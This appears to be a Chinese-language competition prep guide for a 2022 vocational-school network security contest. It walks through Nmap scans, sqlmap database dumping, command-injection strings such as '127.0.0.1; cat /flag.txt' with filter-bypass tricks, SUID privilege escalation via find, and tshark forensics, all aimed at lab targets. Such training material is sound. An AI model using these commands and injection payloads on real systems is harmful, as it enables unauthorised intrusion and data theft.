简介这份资源是2022年全国职业院校技能大赛中职组网络安全赛项的完整赛题文档面向职业院校网络安全竞赛选手、指导教师以及备考相关技能认证的学习者帮助其系统了解赛项结构、任务要求与评分标准。压缩包内仅含1个docx文件约49KB以文字试题形式呈现便于打印研读与对照练习。赛题覆盖基础设施设置与安全加固、网络安全事件响应与数字取证调查、应用安全以及CTF夺旗攻击与防御四大模块具体涉及Windows与Linux账户密码策略、SSH与VSFTPD及IIS中间件加固、iptables防火墙策略、Nmap与DirBuster等渗透测试工具的使用场景并附有竞赛注意事项与分值权重说明。目前已有849人学习下载读者可借此还原赛场任务脉络梳理各模块考点与操作要点为备赛训练和教学选题提供直接参考。1. 从一份中职组赛题文档说起网络安全赛项到底在考什么2022 年全国职业院校技能大赛中职组网络安全赛项赛题以文档形式下发选手拿到手的第一件事不是敲命令而是读题。这份赛题文档里通常包含三个模块网络搭建与安全加固、渗透测试与漏洞利用、数字取证与应急响应。很多人以为中职组的题会简单实际做下来会发现CTF 风格的 flag 提交、Kali 下的渗透测试实战、以及 pcapng 流量包的数字取证分析一个都不少。它考的不是你会不会背网络安全基础而是你能不能在有限时间内把一套标准化的攻防流程跑通。这篇文章面向三类人准备参赛的学生、带队的指导老师、以及想用赛题练手的网络安全入门者。我会按赛题文档的典型结构把每个模块的落地路径拆开讲包括工具选型、命令参数、以及那些赛场上真会翻车的地方。2. 赛题文档的结构拆解与备赛环境搭建2.1 一份赛题文档通常包含哪几块内容拿到赛题文档后先别急着打开 Kali。我一般会花五分钟做一件事把文档里的任务描述逐条拆成「目标 交付物 约束条件」。以这类中职组赛题为例典型结构是这样的模块典型任务交付物常见约束网络搭建与加固配置防火墙规则、修改服务端口、加固 Web 服务截图 配置文件不能影响指定服务可用性渗透测试对靶机进行信息收集、漏洞利用、提权flag 值 利用过程禁止使用破坏性攻击数字取证分析 pcapng 流量包、提取恶意行为证据分析报告 关键字段需给出时间线和攻击链这个拆解动作看起来简单但它决定了你后面所有操作的优先级。赛场上时间有限先做交付物明确的题再做需要探索的题这是血泪经验。2.2 备赛环境Kali 与靶机的网络拓扑怎么搭常见做法是用 VMware 或 VirtualBox 起两台虚拟机一台 Kali Linux 作为攻击机一台靶机通常是 Windows Server 或 Linux 靶机。网络模式选 NAT 或仅主机模式确保两台机器互通但不影响宿主机网络。# 查看 Kali 当前网络接口和 IP ip addr show # 确认与靶机连通性假设靶机 IP 为 192.168.56.101 ping -c 4 192.168.56.101 # 如果 ping 不通检查虚拟机网络模式是否一致 # 常见问题一台用 NAT 一台用桥接导致不同网段逻辑说明ip addr show用来确认 Kali 的网卡是否拿到了 IP如果只有 lo 接口说明网卡没启动或 DHCP 没分配。ping是最基础的连通性测试赛场上如果这一步不通后面所有渗透测试都无从谈起。参数-c 4表示只发 4 个包避免无限等待。提示备赛时建议把 Kali 的网络配置固定下来不要依赖 DHCP否则每次重启 IP 变化靶机配置也要跟着改浪费时间。2.3 工具集准备Kali 里哪些工具是必须提前验证的Kali 自带大量工具但赛场上真正高频使用的就那么几个。我一般会在赛前把以下工具逐个打开验证一遍确保没有依赖缺失或版本问题Nmap信息收集阶段的主力扫描端口和服务版本Burp SuiteWeb 渗透测试的抓包和改包工具sqlmapSQL 注入自动化利用Wireshark数字取证模块分析 pcapng 流量包Metasploit漏洞利用框架中职组赛题中常用于已知漏洞的快速利用# 验证 Nmap 是否可用并查看版本 nmap --version # 验证 sqlmap 是否可用 sqlmap --version # 验证 Wireshark 命令行版 tshark 是否可用 tshark --version逻辑说明这三条命令分别验证渗透测试和取证模块的核心工具。如果tshark不可用数字取证模块会非常被动因为赛题给的 pcapng 文件往往需要命令行快速过滤。参数说明--version只是确认工具存在实际使用时 Nmap 的-sV做版本探测、-sS做 SYN 扫描sqlmap 的-u指定目标 URL这些后面会展开。3. 渗透测试模块从信息收集到 flag 提交的完整链路3.1 信息收集Nmap 扫描的参数怎么设渗透测试的第一步永远是信息收集。赛题文档通常会给出靶机 IP 或 IP 段你需要快速摸清目标开了哪些端口、跑了什么服务。# 快速扫描常见端口-T4 提高速度-F 只扫前 100 个端口 nmap -T4 -F 192.168.56.101 # 对发现的开放端口做服务版本探测 nmap -T4 -sV -p 22,80,443,3306 192.168.56.101 # 如果赛题要求全面扫描用 -p- 扫全端口但耗时长 nmap -T4 -sV -p- 192.168.56.101 -oN scan_result.txt逻辑说明第一条命令用-F快速定位开放端口适合赛场上前几分钟的快速摸底。第二条命令针对已发现的端口做-sV版本探测这一步能直接告诉你目标跑的是 Apache 还是 Nginx、MySQL 版本是多少为后续漏洞利用提供依据。第三条-p-扫全端口-oN把结果输出到文件方便后续对照。参数说明-T4是时序模板数字越大扫描越快但越容易被防火墙拦截赛场上一般用-T4平衡速度和隐蔽性。-sV是版本探测会发送更多探测包比单纯-sS慢但信息量大。3.2 Web 渗透Burp Suite 抓包与 sqlmap 注入利用如果 Nmap 扫到 80 或 443 端口开放下一步就是 Web 渗透。赛题中常见的 Web 漏洞包括 SQL 注入、文件上传、命令执行。以 SQL 注入为例标准流程是先用 Burp Suite 抓包确认注入点再用 sqlmap 自动化利用。# 假设抓包发现注入点为 http://192.168.56.101/login.php?id1 # 先用 sqlmap 探测注入类型 sqlmap -u http://192.168.56.101/login.php?id1 --batch --dbs # 如果确认注入列出指定数据库的表 sqlmap -u http://192.168.56.101/login.php?id1 -D target_db --tables # 导出目标表中的数据寻找 flag sqlmap -u http://192.168.56.101/login.php?id1 -D target_db -T users --dump逻辑说明--batch让 sqlmap 自动选择默认选项避免赛场上频繁交互浪费时间。--dbs列出所有数据库-D指定数据库--tables列出表-T指定表--dump导出数据。这一套命令是 SQL 注入利用的标准链路。参数说明如果目标有 WAF 或过滤可能需要加--tamper参数使用绕过脚本比如--tamperspace2comment。赛场上如果 sqlmap 跑不动先检查注入点是否真的存在手动用和and 11测试一下别盲目等工具跑完。3.3 命令执行与 flag 获取ctf 命令执行 passthru 的典型利用CTF 风格的赛题里命令执行漏洞很常见。PHP 的passthru、system、exec函数如果过滤不严可以直接执行系统命令。假设赛题给了一个 Web 页面输入框会执行 ping 命令你可以尝试用管道符拼接。# 正常输入 127.0.0.1 # 尝试命令拼接查看当前目录 127.0.0.1; ls # 如果分号被过滤尝试用管道符 127.0.0.1 | ls # 找到 flag 文件后读取 127.0.0.1; cat /flag.txt逻辑说明命令执行漏洞的核心是拼接符。常见的拼接符有;、|、||、、。赛题中如果一种被过滤换另一种试。ls用来确认当前目录有什么文件cat用来读取 flag。参数说明如果目标系统是 Windows命令换成dir和type。如果cat被过滤可以尝试tac、head、more、less或者用base64编码后带外传输。这些绕过技巧在 ctf web 解题中非常高频。3.4 提权与持久化中职组赛题里提权的常见路径中职组赛题的提权环节通常不会太复杂常见路径包括SUID 提权、sudo 配置错误、计划任务劫持。以 SUID 提权为例# 查找具有 SUID 位的可执行文件 find / -perm -4000 -type f 2/dev/null # 如果发现 /usr/bin/find 有 SUID 位可以用它执行命令 /usr/bin/find . -exec /bin/sh -p \; -quit # 确认当前用户是否变为 root id逻辑说明find / -perm -4000查找所有 SUID 文件2/dev/null屏蔽权限报错。如果发现某个常见命令有 SUID 位可以去 GTFOBins 查对应的提权方法。find的-exec参数可以执行任意命令/bin/sh -p保留权限启动 shell。参数说明-p参数在 sh 中表示保留有效用户 ID如果不加某些系统会降权。id命令确认当前用户身份如果显示uid0(root)说明提权成功。4. 数字取证模块pcapng 流量分析与应急响应4.1 用 tshark 快速过滤 pcapng 中的可疑流量数字取证模块常给一个 pcapng 文件要求分析攻击者的行为。Wireshark 图形界面适合细看但赛场上时间紧我一般先用 tshark 命令行快速过滤。# 查看 pcapng 文件的基本统计信息 capinfos capture.pcapng # 过滤 HTTP 请求查看访问了哪些 URL tshark -r capture.pcapng -Y http.request -T fields -e http.host -e http.request.uri # 过滤 DNS 查询查看是否有异常域名 tshark -r capture.pcapng -Y dns.qry.name -T fields -e dns.qry.name | sort -u # 过滤 TCP 流跟踪某个可疑 IP 的会话 tshark -r capture.pcapng -Y ip.addr192.168.1.100 -T fields -e tcp.stream | sort -u逻辑说明capinfos给出文件的时间范围、包数量、平均速率帮你判断流量规模。-Y是显示过滤器语法和 Wireshark 一致。-T fields -e指定输出字段方便后续用sort、uniq做统计。http.request过滤出所有 HTTP 请求能快速看到攻击者访问了哪些路径。参数说明-r指定读取文件-Y后跟过滤表达式。如果 pcapng 很大可以先用-c 1000限制读取包数先看前 1000 个包找线索。4.2 USB 流量取证.pcapng usb ctf 题目的分析思路USB 流量取证是 ctf 杂项题目里的常见类型赛题中也可能出现。核心思路是USB 键盘、鼠标的流量有固定格式提取按键数据后还原输入内容。# 过滤 USB 中断传输数据 tshark -r usb.pcapng -Y usb.transfer_type 0x01 -T fields -e usb.capdata # 如果 capdata 为空尝试过滤 usbhid.data tshark -r usb.pcapng -Y usbhid.data -T fields -e usbhid.data逻辑说明USB 键盘流量通常在中断传输中usb.transfer_type 0x01过滤中断传输。usb.capdata或usbhid.data字段包含按键的 HID 码。拿到这些码后需要对照 HID 键码表还原成字符。参数说明不同版本的 tshark 字段名可能不同如果usb.capdata没输出用tshark -r usb.pcapng -T fields -e usbhid.data试。还原时注意HID 码0x04对应a0x05对应b以此类推具体对照表可以搜「USB HID keycode table」。4.3 应急响应从流量中提取攻击链和时间线赛题的数字取证部分往往要求给出攻击时间线。我的做法是先按时间排序所有可疑流量再按攻击阶段分组。# 按时间顺序输出所有 HTTP 请求的时间戳和 URL tshark -r capture.pcapng -Y http.request -T fields -e frame.time -e http.request.full_uri # 输出所有 TCP SYN 包查看端口扫描行为 tshark -r capture.pcapng -Y tcp.flags.syn1 tcp.flags.ack0 -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport逻辑说明第一条命令按时间列出 HTTP 请求能看出攻击者先访问了哪个页面、后访问了哪个。第二条命令过滤 SYN 包如果短时间内大量不同端口说明是端口扫描。把这两组数据结合就能还原出「扫描 → 探测 → 利用 → 提权」的完整攻击链。参数说明frame.time是包的时间戳http.request.full_uri是完整 URL。如果时间戳格式不直观可以加-t ad用绝对时间显示。5. 避坑与常见问题赛场上真会翻车的 5 个地方5.1 现象Nmap 扫描结果全是 filtered原因靶机开了防火墙或者虚拟机网络模式不对导致扫描包被丢弃。解决先ping确认连通性如果 ping 通但端口全 filtered尝试用-Pn跳过主机发现或者换-sAACK 扫描。如果还是不行检查虚拟机网络模式是否一台 NAT 一台桥接。5.2 现象sqlmap 跑了几分钟没结果原因注入点可能不存在或者目标有 WAF 拦截。解决先手动用和and 11测试注入点确认存在后再跑 sqlmap。如果确认存在但 sqlmap 跑不动加--random-agent和--tamper参数或者用 Burp Suite 抓包后保存为文件用-r参数加载。5.3 现象命令执行漏洞拼接符全部被过滤原因赛题对输入做了严格过滤常见拼接符都被拉黑。解决尝试用换行符%0a、反引号、$()等替代。如果目标支持还可以用base64编码命令后解码执行。ctf 命令执行 passthru 题目里绕过过滤是核心考点。5.4 现象tshark 过滤 USB 流量没有输出原因字段名不对或者 pcapng 里的 USB 流量不是键盘流量。解决先用tshark -r usb.pcapng -T fields -e usb.capdata不加过滤条件看有没有数据。如果没有换usbhid.data。如果都没有可能是鼠标流量或其他设备需要看usb.device_address和usb.endpoint_address判断。5.5 现象提权时 SUID 文件找到了但利用失败原因GTFOBins 上的利用方法依赖特定版本或编译选项不是所有环境都适用。解决先id确认当前用户再uname -a看内核版本尝试内核提权 exp。如果 SUID 利用失败检查sudo -l看有没有配置错误或者查计划任务crontab -l和/etc/crontab。6. 赛题之外的进阶把一次比赛变成可复用的安全能力赛题做完不是终点。我一般会做三件事第一把渗透测试的完整命令链整理成脚本下次遇到类似靶机可以直接跑第二把数字取证的分析过程写成报告模板包括时间线、攻击链、关键证据第三把赛题里没做出来的点记下来赛后逐个补。# 一个简单的信息收集脚本模板 #!/bin/bash TARGET$1 echo [*] Scanning $TARGET nmap -T4 -F $TARGET -oN nmap_fast.txt nmap -T4 -sV -p $(grep -oP \d(?/tcp) nmap_fast.txt | tr \n , | sed s/,$//) $TARGET -oN nmap_version.txt echo [*] Scan complete. Check nmap_fast.txt and nmap_version.txt逻辑说明这个脚本接收一个目标 IP先快速扫描再从结果中提取开放端口做版本探测。grep -oP \d(?/tcp)提取端口号tr和sed把换行转成逗号分隔。参数说明$1是脚本的第一个参数使用时./scan.sh 192.168.56.101。验证方法拿赛题里的靶机重新跑一遍看能不能在更短时间内拿到同样的 flag。如果能说明流程已经内化如果不能看是哪一步卡住针对性补。我自己的习惯是每做完一套赛题把关键命令和踩坑记录写进一个 Markdown 文件按「信息收集 / 渗透利用 / 取证分析 / 提权」分类。半年下来这个文件就是自己的网络安全知识库。赛题会变但底层的方法论不变。希望帮到你。本文还有配套的精品资源点击获取